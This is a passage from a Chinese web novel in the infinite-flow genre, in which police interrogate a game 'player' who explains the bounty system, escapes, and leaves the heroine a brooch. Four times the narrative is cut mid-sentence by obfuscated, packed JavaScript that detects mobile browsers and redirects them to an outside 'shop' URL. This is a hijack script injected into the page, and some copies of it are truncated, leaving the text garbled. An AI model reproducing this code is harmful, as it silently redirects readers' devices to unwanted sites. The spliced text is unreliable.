他忽略了这个世界上还有小说这种东西,完全没有意识到有一种叫读者的人,想象力比他的认知还要高。 一群人走出病房,宋承拿着骆星的就医卡去缴了剩下的医疗费。 纪然突然有种似曾相识的感觉,瞥了一眼骆星,就看到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179112|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁开眼在看自己。 现在他被铐住手,还被一左一右的肖羽和李新咏押着,也不像之前张统那样用凶狠恐怖的眼神盯着自己,纪然倒没太大恐惧心理。 之前病房的隔音并不好,她站在走廊里都能听到里面的声音。现在纪然一边跟着他们往外走,一边隔了两米远问骆星,很直白地问:“你要杀我?” 骆星弯了弯眼睛,眼里泛起笑意,点点头,又摇了摇头。 “什么意思?”纪然不解。 肖羽掀开骆星嘴上的胶带:“你好好说话。” 骆星嘴巴获得自由,他先用嘴吸了几口气,很是夸张地演出了之前喘不过气的样子,才慢悠悠地回答:“可杀可不杀的意思。杀个新人也没多少积分,看心情咯~” 仔细打量着他的神色,各种浮于表面的笑和夸张地表情,纪然猜不出他说的究竟是真是假。 看起来他对这个所谓的游戏的某些规则很熟悉,即便不是个厉害的老玩家,那也不是她一个新人能对付得了的。 这种反社会的话听得李新咏直皱眉:“你还杀过多少人?” “哎哎哎——”骆星眼神瞬间就变了,开始喊冤,“阿sir,我可是大大滴良民,可别什么脏帽子都往我头上戴,这锅我不背的。” 观察了半天,乔云深走边上忍不住说:“你这一句话里透露出来的成分挺复杂的……” 他们走近suv,肖羽和李新咏押着他坐进最后一排,纪然和叶柯还是坐到中间排,而乔云深很自觉地坐到副驾驶上,系好了安全带。 “那你为什么张口闭口就是杀人?”肖羽帮他也扯好安全带,问道。 骆星耸肩,露出无奈又滑稽的表情说道:“可能是我的中二之魂在熊熊燃烧。” “……” “嘶……阿sir,别这样,你弄得人家好痛痛哦~”骆星又开始嘶气,这两个警察怎么这么开不起玩笑,动不动就用力抓他手臂,他这细皮嫩肉的可经不起摧残。 肖羽有些头疼:“你能不能正常一点……好,换个问题,你叫什么名字?” 这句话仿佛触发了骆星的什么被动,他不假思索,嘴比脑子还快:“师傅,你是做什么的啊?” “……” “痛痛痛!轻点轻点!你们看啊,世界这么美好,你们却如此暴躁,这样不好,不好。” 李新咏也开始头疼,左手抓着他,右手揉了揉眉心:“你别玩这些陈年老梗了,老实回答。” 骆星咂嘴:“不然就有我好果子吃?啥味的好果子啊?” 如果这人之前不是追杀过他们,此时就光这对话,纪然可能会笑出来。但经历过生死竞速和两次“死亡”后,面对这个曾“害死”过他们的人,纪然笑不出来,只想赶紧撬开他的嘴,说点什么有用的信息出来。 “所以你的任务是什么?”纪然靠在座椅上没有转头,直接问道。 “都知道了还问我做什么?想走进我的内心了解我啊?”他笑嘻嘻的,头上被涂了药的擦伤伤口也没影响他的颜值,反而更有种病弱的破碎美。配上浮夸的笑容,显得更加令人看不透。 纪然忽略他后半句话:“你发现你追杀错人了么?” 28. 身上有她的味道 “人有失手,马有失蹄。我勇于承认自己的不足,善于从自身寻找原因,及时改正自己的态度,争取下次不再犯这种低级错误,还请组织忽略我这一丢丢不为人道的小缺点。” 在检测到纪然是新人的时候,他就发现自己找错目标了。但事情都发生了他也没必要去后悔,毕竟这些人也没受到什么伤害。 大不了回头给小新人一点补偿作为精神损失费就是了。至于其他人,赔点钱就好了。 哎呀,他可真是太善良了,自己都快爱上自己了。 骆星瘫在椅背上,颇有种左青龙右白虎的架势,嘴里却冒出一连串的检讨台词。 在众人无语间,驾驶位那边的车门被拉开。宋承坐进车里,关上车门后一边系安全带一边问:“什么不能人道?你们把他怎么了?” “……”骆星忽然就理解了刚才旁边的两人,也想揉揉头了。他怀疑对方就是故意的,但是他没有证据,好气哦。 骆星气得整整一个小时没理他们,一个人孤立他们一群人。本来闭着眼睛装深沉的,结果他就睡着了。 之前被出租车追击时绕了路,加上在原地等交警和救援,去这种大型医院一般一小时的车程,愣是花了两小时才到。现在返程就快很多,纪然感觉自己刚睡着就被叫醒了。 她跟骆星两个人露着同款无精打采的困倦表情,像幽灵一样地走路带飘,飘进了之前来过的公安局。 这24小时内发生的事,无论是张统还是现在抓到的这个玩家,全都跟纪然有关。加上疑似无限流游戏的离奇存在,他们把纪然也一起带进了审讯室。 乔云深看了看审讯室里的椅子,又看了眼众人,撇了撇嘴,老老实实跑去搬椅子进来,一人发一把。 “谢谢。”纪然搓了把脸,提起精神,坐在靠桌子这边,看着对面三人坐一排。 那个玩家被肖羽和李新咏抓着手臂一直没松开,现在这个位置分布,若不是他们两的警服还没脱,看起来简直就像三个嫌疑犯一起被审。 “阿sir~我想睡觉了,能不能明天再问啊~”骆星昏昏欲睡,一副眼睛都睁不开的样子,矫揉做作撒着娇,带波浪的腔调让离他最近的两人浑身起鸡皮疙瘩。 宋承打开录音和录像设备,坐到桌子内侧。叩了叩桌面,语气严厉:“请注意你的态度!” “那么凶做什么啦~”骆星打了个哈欠,丝毫没把这一切放在心上,“你们要是对我温柔点,我心情好说不定就配合你们了。” 肖羽可没忘就是这人一路开车追击他们,在纪然的“预言”里害死了所有人。虽然他没全信,但也没全怀疑。瞧见这人的态度,他皮笑肉不笑:“我对你还不够温柔吗?”都没一拳打下去。 听闻此话,骆星收起困倦的表情,向后往椅背上一靠,架起二郎腿,非常悠闲自在地说:“所以有些人单身不是没有理由的。” “你……” 宋承又叩响桌子,打断了他们:“严肃点,先说说你的名字,你叫什么?” “啊?我没叫啊,”骆星吊儿郎当笑着,翘起二郎腿一晃一晃的,“还是说阿sir你在跟我搭讪?这太直白了,我可不接受。” 身旁的两人用力扣住骆星肩膀,李新咏的脸色也不太好,熬了这么久早就困到头疼,不想在这听他打太极:“你好好说话。” “你可以什么都不说,”宋承反倒平静下来了,语气沉稳,“但是我们的人也可以24小时轮班压制看守你,就算你有逃脱的道具,你也没办法施展吧。” 虽然是反问的话,宋承却用陈述的语气说出来。 “况且,你的任务,应该是有时间限制的吧。我们好好聊聊如何?”他目不转睛地盯着对面的骆星,眼神深邃又带着隐隐威压。 骆星脸上的笑容淡去,眼睛微微眯起。思绪飞快在脑子里转了几圈,反问道:“上一个任务者,是折在你们手里的?” “这跟我们现在的谈话无关。”宋承不置可否,神色自若地回答。 明明是避开问题的回答,骆星却猛然笑了起来,身体抖动到李新咏和肖羽差点压不住他:“给我老实点。” “哈,有意思,太有意思了,你们比我想的有意思多了,阿sir~”骆星笑得眼睛都起了雾,夸张的笑声回荡在审讯室内。 “虽然任务受了一点点挫折,”骆星止住笑,耸了耸肩,表情不以为是,“不过不要紧,作为让我心情愉悦的交换,我可以稍微那么配合你们一下下,就当是带带新人咯。” 他想比划一下“一下下”是多少,奈何双手被铐着,手里的瓶子也还在,只好放弃了。 察觉到这人的态度软化,宋承也没兜圈子,直接问道:“我们外出完全是偶然起意,你是从哪里获得我们的消息,跟上来的?” 骆星挑了挑眉,有些意外这个问题:“你们不是都见识过我的能力了吗?这个问题还有什么必要要问的。” “阿sir,既然知道我是玩家,使用一些特殊能力和一些小道具不是很正常吗?”他眼皮耷拉下来,懒洋洋地回答。 宋承摩挲着自己手指上的茧,若有所思,反问道:“你们玩家,究竟是种什么样的存在?” “玩过游戏吗?阿sir,”骆星嘴角扬起,又开始笑起来,眼底暗藏兴奋,“那种恐怖生存游戏,进去玩的人都是玩家。只不过失败者是真的会死,而胜利者将获得继续活下来的资格,嗯……还有一些额外奖励。” 晚上听肖羽说过一部分,宋承也有所了解,只是没想到还真是需要极限求生的无限流游戏。他瞥了一眼桌旁的纪然,见小姑娘面色镇静,没有丝毫被吓到的样子,才收回目光。 宋承点头,继续问:“你前面的玩家晚上十点左右死了,你十一点左右就出现在我们附近,你们的任务是实时刷新的?” “昂~”这点骆星很轻易地就承认了,“确实很凑巧,我刚接了任务用道具查了下季然的坐标,就发现她的气息在我附近,这不立马就追过去了嘛。” 气息?李新咏想起之前在医院时这个人说的话,直接问道:“你之前说我身上有她的味道,是什么意思?” 骆星转过头看向他,眨了眨眼,又转头看向纪然,眨了眨眼。这才想起来在医院时发现的事,他眼神里满是恶趣味,又开始夸张地笑:“哎呀,我们都被她耍了呀~她把你们当替死鬼,你们气不气呀?” 这话听得纪然心中一动,问:“她一天都没有出现过,怎么让我们染上她的气息?” “嗯……”骆星眨巴着眼睛,看起来无辜极了,“这话你是单独问我一个人,还是问所有人的?若是只问我一人的话,你是不是喜欢我呀?” 他啧了啧嘴,笑嘻嘻地说:“这多令人不好意思啊,既然你这么喜欢我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179113|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那我勉为其难地回答你吧。” 纪然:“……”也不是非要知道不可。 骆星没等她反驳什么,立马接着说:“你们这里只是个C级世界,悬赏难度也只有C级,她应该只通过一两次副本,手上有一些道具。” “能染上别人气味的道具有很多种,她这种新人呢并没有途径获得什么好用的道具。在低级道具中,嗯,等我想想……”骆星微微皱眉,低着头回忆。 “对了,有一种道具呢,能把自己的气息味道转移到载体上,如果触碰这个载体,气息会随着时间附到身上。由于要长时间保持触碰才能转移气息,所以非常鸡肋。啧,没想到能被这么鸡肋的低级道具给骗到,有意思哈。” 骆星低声笑着,垂下的眼睑暂时掩盖了眼中那一闪即逝的杀机,仿佛在掩饰着内心的风暴。 纪然跟李新咏对视一眼,不约而同地想到了那个,在季然房间里找到的手机。 白天上午纪然接触手机有两个多小时,上交后宋承递给了李新咏,之后他们检查房间和开车回去也花了两三个小时。可以说,纪然和李新咏,是这群人里接触手机最长的人,身上都染上了季然的气息。 “虽然不清楚你们是怎么染上的,但总而言之,她把我们全都骗到了。”最后几个字骆星说得阴沉沉的,颇有种磨刀霍霍向猪羊的架势。 “你还要杀人?”听到他的语气,宋承眉头紧锁,他直视着对方,语气严厉地质问。 骆星舔了舔唇,眼神露出几分嘲讽:“阿sir,有些事你们还是少管比较好。我不杀她,死的人就会是我。可别道德绑架我啊,你们愿意牺牲自己成全他人,不代表我也愿意。” 左侧的肖羽嗤了一声,逻辑没有被这话带进去:“接杀人任务可是你自主选择的,谈什么牺牲和成全,你只不过是个不把人命当回事的自私鬼而已。全是自作自受。” 李新咏抓紧了骆星的手臂,问道:“你们这悬赏任务能取消吗?任务时限是多久?” “你们警察就喜欢道德绑架,”骆星眼神沉了下来,满脸嘲讽,“不自私点我要怎么在这会吃人的无限游戏里活下来?” “好好好,这么喜欢救人是吧?”他嗤笑一声,“悬赏任务接了就取消不了,C级任务限时48小时。我和悬赏目标总要死一个,那么现在,有两条人命被放置在天平的两端,你们该怎么抉择呢?” “……” 审讯室里一时间内安静极了,紧张得令人窒息。在这关键时刻,竟然出现了一道关乎两条人命的选择题,宛如一道沉重的枷锁,悬挂在每个人的心头。 骆星自己打破这短暂又诡异的安静,尽管他对他们的回答嗤之以鼻,但他的目光却认真地扫过每一张面孔,脸上挂着一抹玩世不恭的微笑,一字一句地讽刺道:“是为了救下所谓的‘柔弱无辜’的季然,扣留住我,让我当场暴毙……” “碰——”骆星夸张地拟声,看着众人的脸色,突然笑出声,“当然,游戏没这么残忍,只是一点轻微的痛苦,没有炸裂的场面,我就会在此……” 他眼含笑意,嘴唇轻启,连用好几个词:“销声匿迹,无影无踪,烟消云散,荡然无存。” “还是故作不知让我趁机溜走,找到让你们遭遇不幸的季然,然后——咔嚓,你们与游戏毫无瓜葛,而我还帮你们报了仇,何乐而不为呢?阿sir~” 29. 注意你的言辞! “……”第一小队的几人没有回答,各自在思考着。 纪然压下心头涌起的兴奋感,深呼吸一口气,语气平稳:“她害我,你要杀我。对我而言,你们两并没有什么区别。所以……” 她神情认真,诚恳道:“我建议你们可以打一架,谁赢了谁活着。” 这话把骆星逗笑了,收回了审视众人的目光,微笑说道:“建议得很好,下次不要再建议了。” “我有种神奇的预感,你在这无限游戏里起码能活过三个副本。”骆星恢复了笑嘻嘻的样子。 “借你吉言,不过我想活到自然死。”纪然比了个合掌拜一拜的姿势。 第一小队的五人也没沉默很久,特别是宋承和李新咏。以前还在陆战特种部队时出过不少任务,无论是协助缉毒警捣毁毒贩窝点还是守护边境,亦或是埋伏在热带雨林阻击敌人。 翻山潜湖,踏过草原跨过峡谷,走过沼泽越过沙漠。作为陆地上的一把尖刀,游走于黑白之间,他们见过太多的死亡与人性的复杂。 若是可以的话,他们并不想看到任何一条生命的逝去。生命是无价的,天平两端的人,无论是无辜的人还是想害他们的人,那都是两条鲜活的生命。 不管是从前作为保家卫国执行特殊任务的军人,还是现在以逮捕违法犯罪嫌犯为任务的警察,他们都没有权利去选择让谁生亦或是让谁死,这该由法律去判决。 他们只有一个意识,那就是为人民服务,不抛弃不放弃任何一名群众。 宋承揉了揉眉心,目光锐利地与骆星对视,声音坚定有力:“我们的职责就是制止一切犯罪行为,只要时间没有到,只要还有机会,我们会尽全力阻止你们自相残杀。” “即便你们在天秤两端,但你们的生死不该由我们决定,我们也无权决定任何人的生死。季然的事我们自会继续查询,但你若做出犯罪行为,我们也会追捕你。” 这话给骆星说怔住了,原本在听宋承说话时挂在嘴角笑得满是讽刺的弧度,不易察觉地变得有些僵硬起来。 “切,没意思,”骆星嗤了一声,偏过脸移开视线,舔了舔后槽牙,“你们警察就是一根筋。” 他啧嘴吐槽,话音一转—— “好好好,我知道了,一切为人民服务嘛,警察叔叔~”最后四个字尾音拉得很长,骆星又开始嬉皮笑脸的。 “信条我都会背了。” 宋承:“……” 被个小姑娘喊叔叔也就算了,这么个大男人也喊自己叔叔,喜提两侄儿是吧,真的是浑身别扭。 他不自在地轻咳一声,抿了抿嘴,继续严肃道:“没有跟你开玩笑,无论你们是什么所谓的玩家还是普通人,只要你在我国境内触犯法律,无论你在哪里,我们都会将你逮捕到位。” “好吧好吧,”骆星一脸敷衍,打了个哈欠,“为了奖励我们警察叔叔的尽职爱岗,我决定允许你们再问最后一个问题。” 宋承思索了许久,问出最关键的一个问题:“悬赏季然的人是谁?” 只要知道这个人是谁,第九系列凶杀案的调查僵局基本就能破了。 “噢~这个啊,”骆星歪在椅背上,没个正型,“虽然悬赏发布人那只能看到个姓,但我应该能猜到是谁。” 他眼睛弯起,笑眯眯地说:“嘿嘿,不告诉你们。” “要怎么样你才会说?”宋承盯着他问。 骆星耸肩,一副爱能莫助的样子:“怎么样都不会说,我还想多活几年。” “很厉害的人?”李新咏在他右侧发出声音。 “很危险的人。”骆星眯了眯眼,既然对方也在这个世界里,他之后行动得小心点了。 纪然突然开口:“跟你比呢?” 这个玩家在被压制的时候还能游刃有余,很明显并没有把他们这些人放在眼里,所谓询问和回答也不过是他口中说的,心情好了回答几句而已。 骆星愣了愣,然后扬眉一笑,轻轻摇了摇头:“啧啧,您真看得起我。” 下一秒他又开始不正经起来:“哇~原来你爱我爱到这种程度了吗?我好感动啊~我决定告诉你一个小秘密。” 他表情神神秘秘的,低着头抬眼冲纪然挤眼睛:“你耳朵凑过来,我跟你讲……” 纪然坐在椅子上动也没动,甚至换了个姿势,胳膊肘放在桌面上,支起脑袋,打了个哈欠。 “你不好奇吗?怎么会有人不好奇别人的秘密呢?”骆星面目夸张地做出震惊的表情,“我不骗萌新,真的。” 他想举起手发誓,又被手铐给拦住了。 纪然慢悠悠抬眼看过去:“你的秘密?你有痔疮?” “……” 骆星张了张嘴,没发出声音,五官扭曲了一瞬。 一秒后他恢复正常,和蔼地微笑:“你37度的嘴怎么能说出这么难听的话,我嘴甜,你要不要亲一口?亲一下你就能说出好听的话了。” 纪然果断转头,当场报警:“警察叔叔,他骚扰我。” “……” 看到这人当着大家面调戏人家小姑娘,宋承眼神一冷:“注意你的言辞!” 李新咏和肖羽立马就抓紧了他胳膊,骆星倒抽气:“疼疼疼……你们这么生气是吃醋了吗?要是对我温柔点我也不是不能……唔唔?” 这话把肖羽恶心得不行,飞快掏出一张纸后捂住他的嘴,纸巾夹在皮肤接触的中间:“正常点,OK?” 骆星乖巧点点头。 刚把手一拿开,骆星就语速飞快地说道:“想亲我就直说嘛还拿纸垫着原来你这么害羞……唔唔……” 看到对面的这个玩家被迫禁音后,纪然叹了口气。这人知道的信息很多,但他就是不说,还老用这种恶心人的调调岔开话题。 瞅了眼宋承,发现对方一副若有所思的模样,纪然便轻声悄悄问他:“宋队长有发现什么吗?” 宋承微微点头:“有一些猜测,之后再说。” 叶柯的指尖点了点桌子,用气音说:“他的笑,大部分都是装出来的。他很善于伪装自己的真实情绪,心理防线很厚。” “还很不正经。”乔云深随口一说,就被骆星听到了。 “谁不正经了?”他的嘴巴被释放出来,立马就开始反驳,“你们人多,我一张嘴说不过来,就可劲造谣我是吧?” “没意思,”骆星生无可恋地瘫在椅子上,“你们还有什么要问的?虽然我不会再回答了。我不是普通人,你们也别想着能撬开我的嘴。” 不回答了还能让他们问什么呢? 几人对视一眼,纪然索性开始问关于游戏的事:“不说这个,你能讲讲游戏的事吗?” 他晃了晃腿,眼睛眯起:“小萌新还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179114|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道查资料了,真欣慰啊~那我就大发慈悲地为你解答吧。” 毕竟差点就杀死了一个可爱的小新人,就当赔礼吧。 “不过也没什么好说的,这个游戏就叫无限游戏,玩家就是玩家。每个月1号固定强制进一次随机副本,其他时候可以自己选择进哪个本。” “副本的种类有哪些?” 纪然没想到居然还有固定时间的强制进本,岂不是说即便完成了这次的任务,之后再隔不到20天她又要进本了? 骆星皱眉嘶了一下:“这可太多了,五花八门什么类型的副本都有。每个副本对应着一个世界,分为真实世界和虚拟世界。” “噢,真实世界就是你们这种,每个进来的玩家的任务会按当前时间线往后变更。虚拟世界是主神系统创造出来的虚拟空间,像游戏那样,每次进去都是在同一个时间线上。” “要是不能理解就当我没说,自己进去苟几个本就能知道了。”他打了个哈欠,又开始困了。 纪然掏出自己的黑卡,问:“这张卡是什么?上面的三个数字又是什么?” 慵懒地瞥了一眼纪然手里的卡,骆星眼皮耷拉着:“这是每个玩家都会有的身份卡,收到卡的方式各有各样。三个数字从左到右分别代表着经历的副本次数,通关次数,和击杀玩家次数。” 一时间,所有见过纪然卡面内容的人都看向了她,她的第三个数字是1,代表着……她杀过一名玩家。 纪然再次想起摸到张统身份卡时跳出来提示,问:“摸到已死亡玩家的身份卡也会算进击杀里?” “当然,前提是这个玩家是死于非玩家之手,或者是意外,又或者是被系统抹杀的。摸到死掉的玩家身份卡后可以吸收,算积分的。” 骆星好像困极了,晃了晃脑袋:“问完了没?问完了我要去睡觉了。” 话音刚落,他又继续说道:“没问完就等下次再说吧,困死我了。” 他唰的一下挣脱了旁边两人的手臂站起身,手铐发出断裂的声音。在肖羽和李新咏上前抓他的时候,一个跟泡泡一样的巨大单人结界升起,阻拦了他们的身体。 “陪你们玩了这么久,我真的该睡觉了。”骆星又打了个哈欠,眼角冒出生理性泪花。 他从系统道具背包里挑了挑,然后冲纪然丢出一个东西:“送给你了,小新人,下次再见噢~” 还没看清是什么东西,就被宋承眼疾手快从半空中拦截了。紧接着那个玩家消失在房间里,耳边只剩下他上扬的尾音在所有人耳边回荡。 就这么消失了,一群人都怔住了。 “……他跑了,是我们失职了。”肖羽和李新咏眼神有些复杂,这谁能想到他从头到尾都是装的。即便一直在警惕,但是这种脱离现实科技和物理的特殊能力,不是他们想拦就能拦住的。 宋承收回视线,打量着手里类似于胸针的东西:“这不是你们的错,这种游戏能力和道具已经超脱了现实,没有受伤就是最好的结果。” 几个人也没一直纠结跑掉的玩家,事情已经发生了,再怎么后悔也没用。他们更对这个所谓的道具感兴趣,纷纷凑过来看。 这个物体外观看起来确实只是一个普通的胸针,最大直径不到四厘米,且形状不规则,乍一看并无特殊之处。 只有纪然盯着面前跳出来的气泡框睁大了眼睛。 30. 走走走,调查去 「方悠悠的胸针」 「这是第一中学的方悠悠所珍藏的胸针之一,她最喜欢收藏这些看起来又漂亮又酷的东西了。而这一个胸针,不是一般的胸针,是她一口气买齐12种同款不同色的一套胸针后,店家额外赠送的隐藏款!」 「专注力+5%」 「可免疫任何人的气息附身」 纪然眉眼含笑,这可是个好东西啊,能直接破掉季然转移到她身上的气息,再也不用当季然的替死鬼了。 其他五人什么都看不出来,察觉到纪然有些惊喜的样子,宋承抬眼问道:“你能看到胸针有什么不一样的地方?” “你们看不到吗?”一个气泡框浮在胸针附近,上面的字体肉眼清晰可见。 肖羽看了这么多年小说,还是第一次见到传说中的无限流游戏的道具,颇为好奇:“我只能看到它就是个普通胸针,你看到的是什么样的?” “它边上有个气泡框,里面写着道具信息。”纪然把内容念了一遍,收获了几双羡慕的眼神。最令人惊讶的是,有一双是李新咏的。 李新咏收回眼神,轻咳一声:“你们说,我洗个澡能洗掉这个气息吗?” 他当然没有想争这个胸针的心思,那个玩家都说了送给纪然,这就是她的。何况他一个大男人,就算遇到追杀也不是没有反抗之力,反倒是纪然这么一个跟他妹妹一样大的女孩子,遇到追杀可比他危险多了。 但有这么一个传说中的道具,还能消除季然的气息,多少有点羡慕了。 “要不再喷点香水?”叶柯笑吟吟地建议。 “……其实被追杀也没什么,很明显我跟那个季然不是一个性别,这还能认错就算我倒霉吧。”李新咏无奈道。 宋承把胸针递给纪然:“他送给你的,正好对你很有用,戴上吧。” 没客气什么,纪然直接别上胸针,本来就是那玩家送给自己的,跟自己还客气啥。况且整个房间六个人中,除了笔记本带来的读档能力外,论各种知识和身体素质,她都是垫底的。 “方悠悠……”肖羽思索着,“以我多年看小说的经验来说,这个名字应该是某个副本里的npc的。而这个道具要么是做任务时npc送的,要么是通关奖励给的。不过,也有可能是抢来的。” 纪然扒拉了下左胸口的胸针,若有所思:“这样啊……” 看了眼时间,凌晨两点多。宋承总结:“总之,这些也只是我们目前的猜测,只能做为参考。”游戏什么,没有真实地接触过他们还是很难以想象。 他顺手拍了拍凑在边上的肖羽的肩膀,对众人道:“大家都累了一天,先回去好好休息吧。” 不知名的玩家跑了,季然还下落不明。季铭已死,张统已死,第九系列凶杀案凶手身份成谜,一群人里唯独剩下一个失忆的纪然。 不对,这些人际关系圈中还有一个人没调查。 想到这,宋承确认了接下来的行动目标:“那个季然的行踪尚未查明,一条路走不通就换一条,有时候换个角度就能发现新的线索。” 他环视众人一圈,目光幽深:“我们明天去报案人周林家走一趟。他和季铭关系匪浅,又认识季然,突然举报她确实让人觉得不对劲。” 听队长提起周林,肖羽也琢磨出不对劲来,摸着下巴点头:“确实,今天找来帮忙的人去找过他,但什么都没问出来。我们得亲自去找他聊聊,或许能从他嘴里撬出点有用的消息。” “两点多了,大家今晚好好休息,养足精神,明天十点在这集合出发。小柯和云深明天留警局待命。”宋承关掉录像录音设备,没再多说什么。 这些涉及玩家间的事错综复杂,前往周林住处的行动可能会充满变数。为确保安全,避免不必要的麻烦,最好还是由他们三人共同前往处理。 纪然看了一圈,很自觉地把自己融入其中:“没问题。” “……” 糟糕,这里还有个查无此人的黑户。 第一小队的几人你看看我,我看看你的,然后齐齐把目光看向队长宋承。 宋承捏了捏眉心,一时难住了。 “你明天就在警局里玩吧,”他像哄小朋友似的说道,想起中午那会儿纪然还做过噩梦,“这里很安全,要是无聊你可以去找小柯聊聊,她很擅长应付心理创伤。” “倒也不必,我又不是三岁小孩,”纪然摊手,心领了这份好意,“什么时候都能聊,但任务有时间限时。而且我跟着你们到处跑,说不定什么时候就触发了第二个新手提示。” 任务她肯定要参与的,万一就碰到了季然呢,就三天的时间找一个躲起来的玩家,真的很悬。 纪然的这个话说得很有道理,她的参与可能会触发新手提示,从而大幅提升调查效率,甚至可能成为破解僵局的关键所在。 何况他们也猜测她拥有的特殊能力与预言有关,虽然目前尚不清楚这种能力是仅限于生命威胁还是涵盖所有危险,但无论如何,她的能力都能为案件的侦破提供巨大助力。 “再者,你们已经成功抓到了两名玩家,我深信凭借你们的身手,无论是留在警局还是与你们一同行动,对我来说并无太大差别。” 纪然不认为身为普通人的他们就一定比不上玩家。他们只是缺少了那些超凡的手段,但这并不意味着他们的专业能力有所不足。 毕竟,术业有专攻,每个人都有自己擅长的领域和独特的价值。 宋承与她对视半晌,突然笑了:“你说服我了。” 紧接着,他语气又严肃起来:“但是,跟我们一起行动,一切都要听我指令,若发现你擅自行动——” 她刚想点头表示自己绝不乱行动,宋承补充后半截话:“就不管饭吃。” 纪然:“???”好狠呐。 她被抓住命门,叹了口气:“知道了,警察叔叔——” “……” 目前没有身份证还身无分文的纪然当然没有地方能去,于是叶柯拉着她,去自己平常加班时睡的公安单人宿舍住一晚上。 可能是这地方带给人的安全感吧,等纪然睡意朦胧地躺在床上时,闻到淡淡的洗衣液的香味后,几秒就陷入了深度睡眠。 口袋里的黑卡右下角依旧在无声地倒计时,时间伶伶俐俐地从纪然身上跨过,从脚边飞去了。 上午八点,阳光从窗户落到床上,照亮了某个又踢了薄被的身影。叶柯睡眼惺忪地坐起身,第六次从床尾边的地上捞起薄被,熟练地抖一抖盖回两人身上,倒头又睡着了。 上午九点,阳光已经爬到了床头位置,落在纪然眼睛上。迷迷糊糊中她忍不住皱眉,伸手摸被子想盖住头,扒拉了几下没摸到被子,反倒摸到个柔软细腻的人类皮肤。 顿时一个激灵纪然就惊醒了,缩回手有些被吓到了。转头看过去,叶柯的脸出现在眼前。 哦,是她啊,那没事了。纪然闭上眼继续睡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179115|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >三秒后,纪然猛地睁开眼。 她什么时候躺床上的?怎么跟叶柯睡一块了? 恍惚了一瞬,昨晚的记忆回归大脑,这才想起来发生了什么。 纪然小心翼翼地坐起身,发现被子有一半掉到了地上,连忙捞起来抖一抖,盖到叶柯身上。五月份的天气虽然可以不盖被子,但是不盖肚子容易着凉拉肚子。 从枕边的外套里掏出黑卡看了一眼倒计时,还有47:58小时,也就是说现在是第二天的上午九点多。之前咋就没想到用倒计时来看时间,直到现在才反应过来。 轻手轻脚下了床,纪然没乱动房间里的东西,直接进了卫生间。昨晚就买好了一次性的洗漱用品,她收拾完后没吵醒叶柯,走出去轻轻带上了门。 出了公安宿舍楼后,顺着记忆走到进警局,大厅墙上的时钟分针指向右下角。 李新咏提着早餐从身后走来,向纪然微笑打招呼:“早上好。” “不知道你喜欢吃什么,随便买了点。我们休息室在这边。” 两人一起走进第一小队的休息室,宋承和肖羽已经在里面坐着。一个对着笔记本电脑敲键盘,一个低头看着手机。 宋承写完一份报告发送出去,关机合上笔记本电脑,冲纪然和李新咏点头:“吃早饭吧。” 从手机屏幕上移开目光的肖羽接过早餐:“谢谢。负责盯梢的人说周林现在还在家里,从昨天上午到现在几乎没出过门。很可疑。” 几人一边吃一边讨论,宋承说:“若是他从报案后一直一个人在家,那现在谁也不清楚他的心理防线有多高。” 咽下一口食物后,肖羽拆出吸管插豆浆上:“根据调查,他跟季铭是发小,与两兄妹一起长大的,按理来说跟季然的关系也不错。一开始季铭失踪到发现尸体时,他都没任何反应,直到昨天上午才突然打电话举报人家妹妹,怎么看都有问题。” 李新咏提出疑点:“他坚称自己对事情一无所知,能提供出季铭的住址,却不知道季然住所……如果将来我妹妹要自己租房住,作为兄长,我肯定会去帮忙,并叫上熟悉的朋友一起协助。” 是啊,若是三个人从小一起长大,其中一个人租房,另外两个人作为兄长和半个兄长,怎么会不去帮忙呢? “所以,正常来说,你们口中的周林作为季铭的朋友,不应该会不清楚那个季然的住所,除非他们之间关系不好。”纪然喝着粥,分析着他们话里的信息。 肖羽一手拿着吃的,另一只手翻了翻手机里的一些消息,补充道:“他们三个人的关系很好,不过这两兄妹是从福利院里出来的,季铭读初中时认识的周林,当时季然还在读小学。” 